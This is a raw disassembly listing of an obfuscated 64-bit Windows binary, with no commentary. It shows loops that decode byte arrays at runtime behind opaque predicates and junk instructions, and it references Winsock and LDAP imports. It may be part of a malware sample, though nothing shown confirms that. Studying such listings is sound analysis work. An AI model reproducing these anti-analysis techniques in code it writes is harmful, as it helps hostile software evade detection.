mov ecx, 9
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
jmp 0x1400ba938
add r11b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x48
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9fa2
lea edx, [r11 - 5]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x23
add r15b, dl
cmp r8, 9
jae 0x1400ba797
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400ba67d
lea edx, [r11 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
cmp r9, 0x20
jb 0x1400ba787
lea edx, [r11 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r15d, [rcx*2 - 0x24]
jmp 0x1400ba867
lea edx, [r11 + 0x51]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x37
add r15b, dl
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400ba7b0
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400ba5b4
lea edx, [r11 - 0x3f]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x47
jmp 0x1400ba358
sub r11b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
jmp 0x1400ba8d1
add r11b, 0x2e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x42
add r8, r9
jmp 0x1400ba8d1
lea edx, [r11 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x1400ba7fd
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
dec rdi
inc rdi
jmp 0x1400b9fa2
add r11b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x1400b9fa2
lea edx, [r11 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x1400ba864
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400ba4f9
lea edx, [r11 - 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x2d
jmp 0x1400ba3cf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ba534
sub r11b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9fa2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ba55a
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x1400ba7fd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ba58a
sub r11b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
dec rdi
inc rdi
jmp 0x1400b9fa2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ba3d2
lea edx, [r11 + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x1400ba864
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ba5d9
lea edx, [r11 + 0x6b]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x13
jmp 0x1400ba864
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ba602
add r11b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
add r15b, 0x7b
add r8, r9
jmp 0x1400ba8d1
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ba628
sub r11b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x2b
jmp 0x1400ba8d1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ba650
lea edx, [r11 + 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x2f
add r15b, dl
jmp 0x1400ba90d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ba35b
add r11b, 0x11
movzx eax, r10b
and al, r11b
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x77
add r15b, r11b
jmp 0x1400ba938
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ba6b4
sub r11b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x3c
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9fa2
inc rax
cmp r8, rax
jne 0x1400ba6d9
sub r11b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x2e
jmp 0x1400ba8d1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ba706
sub r11b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
add r8, r9
jmp 0x1400ba8d1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ba72b
lea edx, [r11 + 0x36]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x7a
jmp 0x1400ba7fd
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ba75e
sub r11b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400b9fa2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400ba38d
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x6c
jmp 0x1400ba864
mov byte [rbp + rdi + 0x348], r15b
inc rdi
jmp 0x1400b9fa2
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x24
lea r15d, [rcx + rcx]
jmp 0x1400ba7fd
lea ecx, [r11 + 0x32]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r15d, [rcx - 0x5e]
jmp 0x1400ba90d
lea edx, [r11 + 0x1f]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x27
add r15b, dl
jmp 0x1400ba90d
lea edx, [r11 + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x19
add r15b, dl
add r11b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x75
add r10b, r11b
add r10b, r15b
mov byte [rbp + rdi + 0x348], r10b
add r8, r9
jmp 0x1400ba8d1
add r11b, 0x77
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x41
dec rdi
inc rdi
jmp 0x1400b9fa2
lea edx, [r11 + 0x23]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0xb
add r15b, dl
sub r11b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x1b
add r10b, r11b
mov byte [rbp + rdi + 0x348], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400b9fa2
lea ecx, [rdi + 0x7b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x5d
dec rdi
inc rdi
jmp 0x1400b9fa2
movabs rax, 0x4c185f6baee8ff7d
add rax, rdi
and bl, al
add bl, bl
sub r10b, bl
lea r15d, [rax + r10]
sub r15b, 0x6b
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b9fa2
movabs rcx, 0x57a12dc5880a8dd3
add rcx, rdi
and bl, cl
add bl, bl
movzx r15d, r10b
sub r15b, bl
add r15b, 0x3b
add r15b, cl
movzx r11d, dil
add r11b, 7
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x31
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rdi + 0x348], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 4
add cl, r10b
mov byte [rbp + rdi + 0x348], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9fa2
movabs rax, 0x6eb2ca793a4daa7f
add rax, rdi
and bl, al
add bl, bl
sub r10b, bl
lea r15d, [rax + r10]
sub r15b, 0x79
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9fa2
sub r11b, 0x57
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
add r15b, 0x61
jmp 0x1400b9fa0
dec r11b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
add r15b, 7
jmp 0x1400b9f90
lea rdx, [rbp + 0x17a3264]
jmp 0x1400ba9fc
lea rdx, [rbp + 0x1296b39]
jmp 0x1400ba9fc
lea rdx, [rbp + 0x348]
mov rcx, qword [0x14023ce68]
call fcn.14010bd20
test al, al
jne 0x1400bc107
mov byte [rbp + 0x470], 0x79
mov byte [rbp + 0x471], Ordinal_35
mov byte [rbp + 0x472], 3
mov byte [rbp + 0x473], 5
mov byte [rbp + 0x474], Ordinal_30
mov byte [rbp + 0x475], 4
mov byte [rbp + 0x476], 0x46
mov byte [rbp + 0x477], reloc.WS2_32.dll_send
mov byte [rbp + 0x478], reloc.WS2_32.dll_socket
mov byte [rbp + 0x479], 0x45
mov byte [rbp + 0x47a], al
mov byte [rbp + 0x47b], 2
mov byte [rbp + 0x47c], 0xa
mov byte [rbp + 0x47d], Ordinal_30
mov byte [rbp + 0x47e], 0x5e
mov byte [rbp + 0x47f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x480], 0xa
mov byte [rbp + 0x481], recv
mov byte [rbp + 0x482], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x483], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x484], 7
mov byte [rbp + 0x485], 6
mov byte [rbp + 0x486], 0x57
mov byte [rbp + 0x487], 0x57
mov byte [rbp + 0x488], Ordinal_79
mov byte [rbp + 0x489], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x48a], Ordinal_45
mov byte [rbp + 0x48b], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x48c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x48d], Ordinal_50
mov byte [rbp + 0x48e], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x48f], gethostname
mov byte [rbp + 0x490], WSASetLastError
mov byte [rbp + 0x491], 0x7a
mov byte [rbp + 0x492], 0x62
mov byte [rbp + 0x493], gethostname
mov byte [rbp + 0x494], Ordinal_41
mov byte [rbp + 0x495], Ordinal_41
mov byte [rbp + 0x496], gethostname
mov byte [rbp + 0x497], gethostname
mov byte [rbp + 0x498], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x499], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x49a], 0x63
mov byte [rbp + 0x49b], 0x85
mov byte [rbp + 0x49c], 0x98
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x49d], xmm0
mov dword [rbp + 0x4ad], eax
mov word [rbp + 0x4b1], ax
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400bb57c
movzx r11d, byte [rbp + rbx + 0x470]
mov edx, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400bb573
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400babcf
lea rcx, [rbx + r13]
movzx eax, dl
and al, cl
mov r14d, recv
sub r14b, al
add r14b, r14b
add r14b, r11b
add r14b, cl
jmp 0x1400babfc
je 0x1400bb4f2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bb45e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bb439
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bb3f2
movzx r10d, bl
cmp r9, rbx
ja 0x1400bb56a
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400bac2d
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x32
jmp 0x1400bac60
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bb3da
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bb3b3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bb393
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bb0b7
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bb097
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bb071
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bb04e
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bb033
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bb012
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400baff1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bafd1
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bafb4
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400baf86
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bac70
lea r8, [r9 + 5]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bb549
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bb528
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400badee
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400badd3
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400badb8
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400baf30
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400baeb8
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 6]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bae86
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bae65
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400bae45
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bae28
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bae0b
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x400]
jmp 0x1400bac70
lea ecx, [r10 + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0xe
jmp 0x1400bac60
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x3a
jmp 0x1400bac00
sub r10b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x66
jmp 0x1400baba0
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x40
jmp 0x1400bb35a
add r10b, 0x34
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x6c
jmp 0x1400bb35d
lea edx, [r10 - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400bb481
add r10b, 0x1c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
jmp 0x1400bb4ae
sub r10b, 0x70
movzx eax, r11b
and al, r10b
mov ecx, 8
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bab82
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
cmp r8, 0x5a
jae 0x1400bb319
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400bb272
lea edx, [r10 + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
cmp r9, 0x28
jb 0x1400bb309
lea edx, [r10 - 0x1c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r14d, [rcx*2 - 0x78]
jmp 0x1400bb40c
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x1400bb376
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400bb165
lea edx, [r10 - 0x52]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400baed3
add r10b, 0x74
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x2c
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bab82
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x58
jmp 0x1400bb4ae
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400bb481
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r11b
jmp 0x1400bb35d
add r10b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r11b
jmp 0x1400bb35a
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 8
jmp 0x1400bb336
add r10b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x34
dec rbx
inc rbx
jmp 0x1400bab82
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400bab82
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400bb40c
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400bb0d4
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, listen
jmp 0x1400baf3f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bb10b
add r10b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x64
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bab82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bb135
sub r10b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r11b
jmp 0x1400bb35a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400baf4b
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x5c
dec rbx
inc rbx
jmp 0x1400bab82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bb18e
lea edx, [r10 + 0x3a]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400bb40c
inc rax
cmp r8, rax
jne 0x1400bb1bc
sub r10b, 0x3a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x6a
inc r9
dec rbx
inc rbx
jmp 0x1400bab82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bb1e8
add r10b, 0x52
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x3e
dec rbx
inc rbx
jmp 0x1400bab82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb20d
lea edx, [r10 - 0x22]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x12
jmp 0x1400bb333
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bb237
sub r10b, 0xa
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
jmp 0x1400bb35d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400baed3
sub r10b, 0x66
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x36
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bab82
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bb2ad
sub r10b, 8
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bab82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb2d5
lea edx, [r10 + 0x10]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x70
add r14b, dl
jmp 0x1400bb481
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400baf05
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
dec rbx
inc rbx
jmp 0x1400bab82
mov byte [rbp + rbx + 0x470], r14b
inc rbx
jmp 0x1400bab82
lea edx, [r10 + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x10
add r14b, r11b
add r14b, dl
sub r10b, 0x4a
movzx eax, r11b
and al, r10b
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, r14b
add cl, r10b
mov byte [rbp + rbx + 0x470], cl
add r8, r9
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bab82
lea edx, [r10 - 4]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x1400bb481
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400bb481
add r10b, 0x62
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r11b
dec rbx
inc rbx
jmp 0x1400bab82
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 6
jmp 0x1400bb40c
movzx r10d, bl
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x5e
add r10b, 0x2a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x26
add r11b, r10b
mov byte [rbp + rbx + 0x470], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bab82
lea edx, [rbx + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
dec rbx
inc rbx
jmp 0x1400bab82
movabs rcx, 0x4a7c051973c2d4ea
add rcx, rbx
and dl, cl
add dl, dl
movzx r14d, r11b
sub r14b, dl
sub r14b, 0x66
add r14b, cl
movzx r10d, bl
add r10b, 0x42
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x470], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x470], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bab82
movabs rcx, 0x691094789f537fd2
add rcx, rbx
and dl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_33
sub al, dl
lea r14d, [rax + rax]
add r14b, r11b
add r14b, cl
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bab82
add r10b, 0x5e
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
jmp 0x1400bab80
sub r10b, 0x2e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
jmp 0x1400bab70
lea rdx, [rbp + 0x1734f78]
jmp 0x1400bb583
lea rdx, [rbp + 0xcf24be]
jmp 0x1400bb583
lea rdx, [rbp + 0x470]
mov rcx, qword [0x14023cdc8]
call fcn.1400644d0
mov byte [rbp + 0xe0], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xe1], 0x68
mov byte [rbp + 0xe2], 0x54
mov byte [rbp + 0xe3], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe4], xmm0
mov qword [rbp + 0xf4], rax
mov dword [rbp + 0xfc], eax
mov byte [rbp + 0x100], al
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x21
jae 0x1400bc0de
movzx r11d, byte [rbp + rdi + 0xe0]
mov ebx, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400bc0d6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bb636
movabs rcx, 0xd74493bc08d3488d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
movzx esi, r11b
sub sil, al
add sil, 0x25
add sil, cl
jmp 0x1400bb663
je 0x1400bc05f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bbfce
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bbf76
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bbf2f
movzx r10d, dil
cmp r9, rdi
ja 0x1400bc0ce
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400bb695
lea esi, [r10 - 0x6f]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
add sil, 9
add sil, r11b
jmp 0x1400bb6e3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bbf17
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bbef4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bbed9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bbebc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bbe9f
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bbe71
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400bbc3b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bbc20
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bbbf7
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bbbd1
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400bbbb6
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bbb96
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bbb76
lea rax, [r9 + 0x2a]
cmp r8, rax
